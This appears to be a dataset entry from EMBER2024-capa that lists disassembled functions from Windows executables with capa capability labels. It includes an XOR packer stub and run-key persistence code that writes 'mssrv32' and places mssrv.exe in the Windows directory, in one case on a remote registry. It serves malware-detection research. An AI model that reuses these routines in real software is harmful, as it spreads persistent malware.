joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003b4d6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10057a05
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb8
push ebx
push esi
push edi
push ecx
mov edx, 0xf86
lea ecx, [esp + 0x94]
call fcn.1000f178
pop ecx
and dword [esp + 0xcc], 0
lea ecx, [esp + 0x44]
push eax
call fcn.100356ba
push 0
push 1
lea ecx, [esp + 0x98]
mov byte [esp + 0xd4], 2
call fcn.1000cafd
push 1
push 0x649
lea eax, [esp + 0x4c]
push eax
push ecx
push 0x39f7
call fcn.1003b360
add esp, 0x10
lea ecx, [esp + 0x30]
mov edx, 0xeaf
call fcn.1000f178
pop ecx
mov byte [esp + 0xcc], 3
mov dword [esp + 0xc], 0x1186
cmp dword [esp + 0xc], 0x1450
jle 0x1003b5e2
xor esi, esi
mov dword [esp + 0x10], esi
xor edi, edi
mov eax, esi
xor ebx, ebx
cdq
idiv edi
mov esi, edx
mov eax, esi
lea ecx, [esp + 0xa8]
and eax, ebx
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003b5a8
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push 0
push 1
lea ecx, [esp + 0xb0]
call fcn.1000c8ef
inc ebx
cmp ebx, 0xd24
jl 0x1003b58b
mov esi, dword [esp + 0x10]
inc edi
cmp edi, 0x5fac
jl 0x1003b582
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0x17f
jl 0x1003b580
cmp dword [esp + 0xc], 0xfaf
jge 0x1003b5f7
push str.hvqbb_svwsegoqt_rlyh_fyxedpgn_krp_hmpsy_smfd_kcwofmgp_fhkr_bmvkegt_ccieper
call fcn.1004139c
pop ecx
push ecx
mov edx, 0xeb0
lea ecx, [esp + 0x64]
call fcn.1000f178
pop ecx
mov edx, eax
mov byte [esp + 0xcc], 4
lea ecx, [esp + 0x20]
call fcn.10037a8c
push 0
push 1
lea ecx, [esp + 0x68]
mov byte [esp + 0xd4], 6
call fcn.1000cafd
push ecx
mov edx, 0xeb1
lea ecx, [esp + 0x7c]
call fcn.1000f178
pop ecx
mov edx, eax
mov byte [esp + 0xcc], 7
lea ecx, [esp + 0x14]
call fcn.10037a8c
push 0
push 1
lea ecx, [esp + 0x80]
mov byte [esp + 0xd4], 9
call fcn.1000cafd
lea eax, [esp + 0x20]
push eax
push 1
push ecx
lea eax, [esp + 0x38]
mov ecx, 0x6966
push eax
push 0x18e9
lea edx, [esp + 0x28]
call fcn.1003b240
add esp, 0x14
lea ecx, [esp + 0x14]
call fcn.1003bcb1
lea ecx, [esp + 0x20]
call fcn.1003bcb1
push 0
push 1
lea ecx, [esp + 0x34]
call fcn.1000cafd
or dword [esp + 0xcc], 0xffffffff
lea ecx, [esp + 0x44]
call fcn.10036b1f
mov ecx, dword [esp + 0xc4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003c922
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov byte [ebp - 8], dl
mov dword [ebp - 0x14], 0x1a7
cmp dword [ebp - 0x14], 0x4ce
push 0
pop esi
jle 0x1003c9ab
mov edi, esi
mov dword [ebp - 0x10], esi
mov ebx, esi
mov eax, edi
mov ecx, esi
cdq
idiv ebx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 0x1c], edi
mov eax, edi
mov dword [ebp - 0x18], esi
cdq
idiv ecx
mov edi, edx
mov eax, edi
mov ecx, 0x1006cbb8
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000c318
inc esi
cmp esi, 0x31c7
jl 0x1003c961
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x1c]
inc ecx
mov dword [ebp - 0xc], ecx
push 0
pop esi
cmp ecx, 0x50ca
jl 0x1003c957
mov edi, dword [ebp - 0x10]
inc ebx
cmp ebx, 0x3846
jl 0x1003c948
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x8043
jl 0x1003c946
cmp dword [ebp - 0x14], 0xfffffe17
jge 0x1003c9c3
mov edx, str.grm_qtgjqppdn_avrte_ylp_ycpb_dorhkht_xowsayp_yfnyrpovc_pap_kfkw_agnpfmj_wphhegi
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x10], 0x5ecc
cmp dword [ebp - 0x10], 0x5fec
jle 0x1003ca36
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawIconEx]
mov edi, esi
mov ebx, esi
mov eax, esi
mov dword [ebp - 0x14], esi
add eax, ebx
lea ecx, [ebp - 0x34]
or eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003ca04
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push esi
push 1
lea ecx, [ebp - 0x34]
call fcn.1000c8ef
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x7337
jl 0x1003c9eb
inc ebx
cmp ebx, 0x771a
jl 0x1003c9e6
inc edi
cmp edi, 0x7dad
jl 0x1003c9e4
cmp dword [ebp - 0x10], 0x5ccb
jge 0x1003ca4a
push str.xba_jlbswvk_aqjyycbwj_wawfhndf_uao_stx_dqxpbufy_xayepwlp_bxtqpedo_wym_cjhtdvvvl
call fcn.1004139c
pop ecx
cmp byte [ebp - 8], 0
je 0x1003caea
mov dword [ebp - 0x14], 0x2433
cmp dword [ebp - 0x14], 0x262f
jle 0x1003ca93
mov edi, esi
mov ebx, esi
mov eax, ebx
mov ecx, 0x1006cbb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000c318
inc ebx
cmp ebx, 0x577f
jl 0x1003ca68
inc edi
cmp edi, 0x5a1b
jl 0x1003ca66
push esi
push esi
call dword [sym.imp.USER32.dll_EndDialog]
mov edi, dword [ebp + 0x18]
cmp dword [edi], esi
jbe 0x1003cad0
mov ebx, dword [ebp + 0x10]
call fcn.1003cafa
push 0x34
pop ecx
xor edx, edx
div ecx
push 0x1a
mov eax, edx
pop ecx
cmp eax, ecx
jge 0x1003cab7
movsx edx, byte [ebx]
jmp 0x1003cac0
cdq
idiv ecx
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
mov ecx, dword [ebp + 0xc]
add edx, eax
push edx
call fcn.1001d8a7
inc esi
cmp esi, dword [edi]
jb 0x1003ca9d
cmp dword [ebp - 0x14], 0x21bd
jge 0x1003caf3
mov edx, str.lpdaoxsj_mmok_wdys_otrmmm_cdhcv_flxdfdqm_arrrrwbo
mov ecx, 0x1006cbb8
call fcn.1000e58f
jmp 0x1003caf3
mov eax, dword [ebp + 0x14]
mov dword [eax], 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003d331
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 4], dl
push ebx
push esi
push edi
test dl, dl
je 0x1003d34e
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
jmp 0x1003d3dd
mov dword [ebp - 0xc], 0x51e9
cmp dword [ebp - 0xc], 0x5360
jle 0x1003d3a2
xor esi, esi
mov dword [ebp - 8], esi
xor edi, edi
and dword [ebp - 0x10], 0
mov ebx, edi
and ebx, esi
mov esi, dword [ebp - 0x10]
mov eax, ebx
mov ecx, 0x1006cbb8
xor eax, esi
cdq
push edx
push eax
call fcn.1000c318
inc esi
cmp esi, 0x7e62
jl 0x1003d370
mov esi, dword [ebp - 8]
inc edi
cmp edi, 0x6d14
jl 0x1003d365
inc esi
mov dword [ebp - 8], esi
cmp esi, 0x3d30
jl 0x1003d363
cmp dword [ebp - 0xc], 0x4eba
jge 0x1003d3ba
mov edx, str.hktwqne_hrwrc_tojrq_rxmmb
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov edx, dword [ebp + 8]
mov dword [edx], 0
cmp dword [edx], 2
jge 0x1003d3dd
mov esi, dword [ebp + 0x14]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x49a2f381
inc dword [edx]
cmp dword [edx], 2
jl 0x1003d3cb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003d3e4
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 0x10], 0x479d
cmp dword [ebp - 0x10], 0x48d6
push 0
mov dword [ebp - 0x14], ecx
pop ebx
jle 0x1003d44e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x3c]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003d42a
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.1000c8ef
inc edi
cmp edi, 0x48a7
jl 0x1003d40f
inc esi
cmp esi, 0x3b95
jl 0x1003d40d
cmp byte [ebp + 0xc], 0
je 0x1003d4f7
mov dword [ebp - 0xc], 0x25b6
cmp dword [ebp - 0xc], 0x28b3
jle 0x1003d4cd
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov esi, ebx
mov dword [ebp - 8], ebx
mov edi, ebx
mov eax, esi
mov esi, 0x19b8
cdq
idiv edi
mov ebx, edx
mov eax, ebx
lea ecx, [ebp - 0x54]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003d49b
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push 0
push 1
lea ecx, [ebp - 0x54]
call fcn.1000c8ef
inc ebx
dec esi
jne 0x1003d484
mov esi, dword [ebp - 8]
inc edi
cmp edi, 0x6daf
jl 0x1003d478
inc esi
mov dword [ebp - 8], esi
push 0
pop ebx
cmp esi, 0x2f20
jl 0x1003d476
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push dword [eax]
call fcn.1001d8db
cmp dword [ebp - 0xc], 0x2255
jge 0x1003d583
push str.hwdayln_injrmadou_yrevvjnu_tgsrb
call fcn.1004139c
pop ecx
jmp 0x1003d583
push 1
push 0x9e3
push 1
push ebx
push 0x3b87
push 0x79b0
lea eax, [ebp - 1]
mov dword [ebp - 0x24], 0xffffffff
push eax
mov dword [ebp - 0x18], 0xffffffff
mov edx, 0x18c0
push 0x59e9
mov dword [ebp - 0x20], ebx
mov ecx, 0x9f5
mov dword [ebp - 8], 0xd77cccae
push 0x514
mov dword [ebp - 0x1c], 0x9034e105
push 0x5d25
mov byte [ebp - 1], bl
call fcn.1003d59e
push ebx
push 0x6fc1
push 1
push 1
lea eax, [ebp - 8]
mov edx, 0x745f
push eax
lea eax, [ebp - 0x18]
push eax
push 0x6a81
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x2c4b
lea ecx, [ebp - 0x24]
call fcn.1003d59e
add esp, 0x50
cmp dword [ebp - 0x10], 0x46f5
jge 0x1003d597
push str.mddh_prbivjo_qblttgk_lvtqew_prkyyff
call fcn.1004139c
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1003d8f4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ecx + 4], edx
push edi
inc esi
lea edi, [ecx + 8]
mov ebx, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi], edx
lea edi, [edi + 4]
cmp esi, ebx
jl 0x1003d90b
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 8
Function at 0x1003d92d
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov edx, 0x10075014
push edi
mov esi, edx
mov edi, 0x7fffffff
mov ecx, dword [esi + 0x9c4]
xor ecx, dword [esi + 0x9c0]
and ecx, edi
xor ecx, dword [esi + 0x9c0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0xff4]
xor eax, ecx
mov dword [esi], eax
add esi, 4
cmp esi, 0x100753a0
jl 0x1003d93b
mov esi, 0x9908b0df
mov ecx, dword [edx + 0xd50]
xor ecx, dword [edx + 0xd4c]
and ecx, edi
xor ecx, dword [edx + 0xd4c]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, esi
xor eax, ecx
xor eax, dword [edx]
mov dword [edx + 0x38c], eax
add edx, 4
cmp edx, 0x10075644
jl 0x1003d97b
mov ecx, dword [0x10076390]
xor ecx, dword [0x10075014]
and ecx, edi
xor ecx, dword [0x10076390]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [0x10075010], 0
and eax, esi
shr ecx, 1
xor eax, ecx
xor eax, dword [0x10075644]
mov dword [0x100759d0], eax
pop esi
ret

Function at 0x1003dfde
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
mov byte [ebp - 8], dl
mov ebx, ecx
mov dword [ebp - 0x10], 0x71d0
cmp dword [ebp - 0x10], 0x75b2
push esi
push edi
mov dword [ebp - 0x14], ebx
jle 0x1003e028
xor esi, esi
xor edi, edi
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1006cbb8
cdq
push edx
push eax
call fcn.1000c318
inc edi
cmp edi, 0x735c
jl 0x1003e003
inc esi
cmp esi, 0x46c3
jl 0x1003e001
mov dword [ebp - 0xc], 0x369
cmp dword [ebp - 0xc], 0x5d2
jle 0x1003e07c
xor esi, esi
xor edi, edi
mov ebx, 0x2e95
mov eax, edi
lea ecx, [ebp - 0x2c]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e058
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000c8ef
add edi, esi
dec ebx
jne 0x1003e041
inc esi
cmp esi, 0x173f
jl 0x1003e03a
mov ebx, dword [ebp - 0x14]
cmp byte [ebp - 8], 0
je 0x1003e08e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1003e09d
cmp byte [ebx], 0
je 0x1003e09d
push 0
push 0
call dword [sym.imp.USER32.dll_FlashWindow]
cmp dword [ebp - 0xc], 0x1a1
jge 0x1003e0b1
push str.wtgyoc_tiwrmsc_cyegokvd_isp_mqhtban_oevbrlqws_qjhn_frpnmo_mmbp
call fcn.1004139c
pop ecx
cmp dword [ebp - 0x10], 0x6f4a
jge 0x1003e0c9
mov edx, str.rscjaircr_iixc_cshwiuqfe_xaqh_kwpgvcy_mfrlxku_didbk_dgssnfx
mov ecx, 0x1006cbb8
call fcn.1000e58f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003e1b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov byte [ebp - 4], cl
push ebx
push esi
push edi
test cl, cl
je 0x1003e1d8
cmp byte [edx], 0
je 0x1003e2db
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_ScreenToClient]
jmp 0x1003e2db
mov dword [ebp - 0xc], 0x5507
cmp dword [ebp - 0xc], 0x5733
push 0
pop esi
jle 0x1003e212
mov edi, esi
mov ebx, esi
mov eax, ebx
mov ecx, 0x1006cbb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000c318
inc ebx
cmp ebx, 0x5f73
jl 0x1003e1ef
inc edi
cmp edi, 0x41c0
jl 0x1003e1ed
mov edi, dword [ebp + 0x10]
mov dword [edi], esi
jmp 0x1003e2ba
mov dword [ebp - 8], 0x54ba
cmp dword [ebp - 8], 0x54f5
jle 0x1003e27d
mov ebx, esi
mov edi, esi
mov eax, ebx
lea ecx, [ebp - 0x30]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e24c
mov eax, dword [eax]
push eax
call fcn.1004139c
pop ecx
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.1000c8ef
inc edi
cmp edi, 0x3701
jl 0x1003e230
inc ebx
cmp ebx, 0x4d68
jl 0x1003e22e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_RedrawWindow]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], 0x5166941f
cmp dword [ebp - 8], 0x50dd
jge 0x1003e298
push str.folap_tqopxrnc_ejkcjg_btd_mdwel_fhprem_fhkc_xuldgbfnx_ercsp
call fcn.1004139c
pop ecx
mov dword [ebp - 8], esi
jmp 0x1003e2ab
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x18], 0x7a6deec5
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x1003e29d
mov dword [ebp - 0x10], 1
dec dword [edi]
cmp dword [edi], 0xfffffff9
jge 0x1003e21c
cmp dword [ebp - 0xc], 0x518b
jge 0x1003e2db
mov edx, str.mss_rvllustl_tneks_bhejrttd_qgrxi_lhojmw_utgkmkn_ths_gsgsbshiq_behffyhlg_dweveyis_bti_kdovgyhjb
mov ecx, 0x1006cbb8
call fcn.1000e58f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003e5a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov byte [ebp - 4], dl
mov dword [ebp - 0xc], 0x2d3a
cmp dword [ebp - 0xc], 0x2dbd
push esi
push edi
jle 0x1003e608
xor edi, edi
xor esi, esi
mov dword [ebp - 8], esi
mov ebx, esi
mov esi, 0xf6c
mov eax, ebx
mov ecx, 0x1006cbb8
and eax, edi
cdq
push edx
push eax
call fcn.1000c318
dec ebx
dec esi
jne 0x1003e5cb
mov esi, dword [ebp - 8]
inc esi
mov dword [ebp - 8], esi
cmp esi, 0x46bf
jl 0x1003e5c4
inc edi
cmp edi, 0x72f4
jl 0x1003e5bf
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesExA]
cmp dword [ebp - 0xc], 0x2990
jge 0x1003e620
mov edx, str.eppeeghhi_kqifjmk_odwclg_wmw_mdh_rrnryik_qjxhqyfjp
mov ecx, 0x1006cbb8
call fcn.1000e58f
cmp byte [ebp - 4], 0
je 0x1003e6d3
mov dword [ebp - 0x14], 0x6df8
cmp dword [ebp - 0x14], 0x6e33
jle 0x1003e696
xor esi, esi
mov dword [ebp - 0x10], esi
xor edi, edi
mov dword [ebp - 8], edi
mov ebx, edi
mov dword [ebp - 0xc], 0x3e8f
mov eax, ebx
xor edi, edi
and eax, esi
mov dword [ebp - 0x18], eax
mov esi, eax
mov eax, esi
mov ecx, 0x1006cbb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000c318
inc edi
cmp edi, 0x78d5
jl 0x1003e658
mov esi, dword [ebp - 0x10]
dec ebx
dec dword [ebp - 0xc]
jne 0x1003e64d
mov edi, dword [ebp - 8]
inc edi
mov dword [ebp - 8], edi
cmp edi, 0x6bf3
jl 0x1003e644
inc esi
mov dword [ebp - 0x10], esi
cmp esi, 0x1724
jl 0x1003e63f
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
cmp dword [edx], 1
jge 0x1003e6b9
mov esi, dword [ebp + 0x1c]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x6a485bf2
inc dword [edx]
cmp dword [edx], 1
jl 0x1003e6a7
cmp dword [ebp - 0x14], 0x6bcb
jge 0x1003e6f6
mov edx, str.wfcbyd_hyydxa_onfr_cjb_dyrdlury_pgow_dbhsqqicy_obi_omegdyx_fdxcqrak_nmkntu_jko_wwbcjgnuu
mov ecx, 0x1006cbb8
call fcn.1000e58f
jmp 0x1003e6f6
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx]
and dword [eax], 0
mov eax, dword [ecx]
cmp dword [eax], 0
jl 0x1003e6f6
mov edx, dword [ebp + 0x18]
mov dword [edx], 0xf6e229ed
mov eax, dword [ecx]
dec dword [eax]
mov eax, dword [ecx]
cmp dword [eax], 0
jge 0x1003e6e5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
push 3
pop ecx
push ebx
pop ebx
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
pushal
popal
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
nop
push 0x3f
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
nop
push 0x3f
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
nop
nop
push 2
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
nop
push 1
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
or eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
push 1
pop eax
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
push ebp
pop esp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
nop
push 0xb
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
push edi
pop edi
push 8
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
nop
push 8
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
or eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret